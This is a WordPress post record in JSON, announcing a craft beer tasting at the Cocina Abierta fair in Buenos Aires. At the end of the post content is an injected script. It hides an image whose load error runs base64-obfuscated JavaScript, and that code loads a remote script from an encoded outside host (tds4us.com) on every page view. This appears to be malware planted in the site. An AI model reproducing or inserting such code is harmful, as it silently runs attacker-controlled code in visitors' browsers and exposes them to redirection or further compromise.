{"id":8664,"date":"2024-09-05T09:40:50","date_gmt":"2024-09-05T12:40:50","guid":{"rendered":"https:\/\/argentinatermal.com.ar\/?p=8664"},"modified":"2025-08-13T15:38:59","modified_gmt":"2025-08-13T18:38:59","slug":"cervezas-artesanales-de-todo-el-pais-en-cocina-abierta","status":"publish","type":"post","link":"https:\/\/argentinatermal.com.ar\/?p=8664","title":{"rendered":"Cervezas artesanales de todo el pa\u00eds en Cocina Abierta"},"content":{"rendered":"\n<h4 class=\"wp-block-heading has-white-color has-text-color has-background has-link-color wp-elements-e5b3d36787003cc9888c306d0ca94f86\" style=\"background-color:#664b01\"><em>Degustaci\u00f3n y venta en un encuentro federal que se realizar\u00e1 del viernes al domingo y de cuya organizaci\u00f3n participa la Secretar\u00eda de Turismo, Ambiente y Deportes de la Naci\u00f3n.<\/em><\/h4>\n\n\n\n<p>Una nueva edici\u00f3n de\u00a0<strong>Cocina Abierta<\/strong>\u00a0reunir\u00e1 este fin de semana a elaboradores de\u00a0<strong>cervezas artesanales<\/strong>\u00a0de distintas provincias, en un encuentro con\u00a0<strong>entrada libre y gratuita para degustar y comprar<\/strong>\u00a0estos productos regionales.<\/p>\n\n\n\n<p>Adem\u00e1s, se podr\u00e1 participar \u2013<strong>viernes, s\u00e1bado y domingo, de 14 a 20, en Sarmiento 151<\/strong>\u2013 de charlas para descubrir la producci\u00f3n de nuestras cervezas artesanales, sus formas de consumo, catas y maridajes a cargo de la\u00a0<strong>C\u00e1mara de Cerveceros Artesanales de Argentina<\/strong>\u00a0(CCAA).<\/p>\n\n\n\n<p>Cocina Abierta es una propuesta enmarcada en el&nbsp;<strong>programa GustAr<\/strong>, una iniciativa conjunta entre la Secretar\u00eda de Turismo, Ambiente y Deportes, la Secretar\u00eda de Cultura y la Secretar\u00eda de Agricultura, Ganader\u00eda y Pesca, que busca revalorizar la producci\u00f3n agroalimentaria, el turismo gastron\u00f3mico y la cultura alimentaria de las distintas regiones de nuestro pa\u00eds.<\/p>\n\n\n\n<p>En esta edici\u00f3n de Cocina Abierta, las cervezas artesanales estar\u00e1n acompa\u00f1adas por embutidos y quesos, frutos secos, alfajores y chocolates, entre otros productos para consumir en el lugar. Habr\u00e1 productos de&nbsp;<strong>Buenos Aires<\/strong>,&nbsp;<strong>Chubut<\/strong>,&nbsp;<strong>C\u00f3rdoba<\/strong>,&nbsp;<strong>Neuqu\u00e9n<\/strong>,&nbsp;<strong>San Juan<\/strong>,&nbsp;<strong>Santa Fe<\/strong>,&nbsp;<strong>R\u00edo Negro<\/strong>&nbsp;y la&nbsp;<strong>Ciudad Aut\u00f3noma de Buenos Aires<\/strong>.<\/p>\n\n\n\n<p>El mercado de la&nbsp;<strong>cerveza artesanal<\/strong>&nbsp;se fortaleci\u00f3 en los \u00faltimos a\u00f1os, convirti\u00e9ndose en otra fuente de crecimiento para el sector de bebidas, ya que surgi\u00f3 de nuevos emprendimientos y renov\u00f3 costumbres en los consumidores.<\/p>\n\n\n\n<p>La primera f\u00e1brica de este tipo naci\u00f3 en El Bols\u00f3n en los a\u00f1os 80 y, desde entonces, se crearon m\u00e1s de 1500 marcas de cervezas artesanales. Los principales polos cerveceros se localizan en San Carlos de Bariloche, Mar del Plata y La Plata, pero la producci\u00f3n se ha extendido a todas las provincias.<\/p>\n\n\n\n<p>La cerveza artesanal se ha convertido, en los \u00faltimos tiempos, en un producto que invita a la experiencia tur\u00edstica \u201cbirrera\u201d, permitiendo a los turistas explorar cervecer\u00edas locales, f\u00e1bricas y degustar cervezas \u00fanicas mientras se disfrutan paisajes inigualables.<\/p>\n\n\n\n<p>Entre otras experiencias cerveceras, se destacan la ruta de la cerveza en Bariloche, la gran cita anual cervecera en la cordobesa Villa General Belgrano y las visitas a las f\u00e1bricas de&nbsp;Mar&nbsp;del&nbsp;Plata.<\/p>\n\n\n\n<p><strong>\u00bfCu\u00e1ndo?<\/strong>\u00a09, 10 y 11 de agosto.<br \/><strong>\u00bfA qu\u00e9 hora?<\/strong>\u00a0de 14 a 20 hs.<br \/><strong>\u00bfD\u00f3nde?<\/strong>\u00a0Sarmiento 151, CABA.<br \/><em>Entrada libre y gratuita<\/em>.\u00a0<em>Ingreso por orden de llegada<\/em>.<\/p>\n<p>\u00a0<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><a href=\"https:\/\/www.argentina.gob.ar\/noticias\/cervezas-artesanales-de-todo-el-pais-en-cocina-abierta\" target=\"_blank\" rel=\"noreferrer noopener\"><img decoding=\"async\" src=\"https:\/\/www.argentina.gob.ar\/profiles\/argentinagobar\/themes\/argentinagobar\/argentinagobar_theme\/logo_argentina-azul.svg\" alt=\"\" style=\"width:424px;height:auto\" \/><\/a><\/figure>\n\n\n\n<p><\/p>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>Degustaci\u00f3n y venta en un encuentro federal que se realizar\u00e1 del viernes al domingo y de cuya organizaci\u00f3n participa la Secretar\u00eda de Turismo, Ambiente y Deportes de la Naci\u00f3n. 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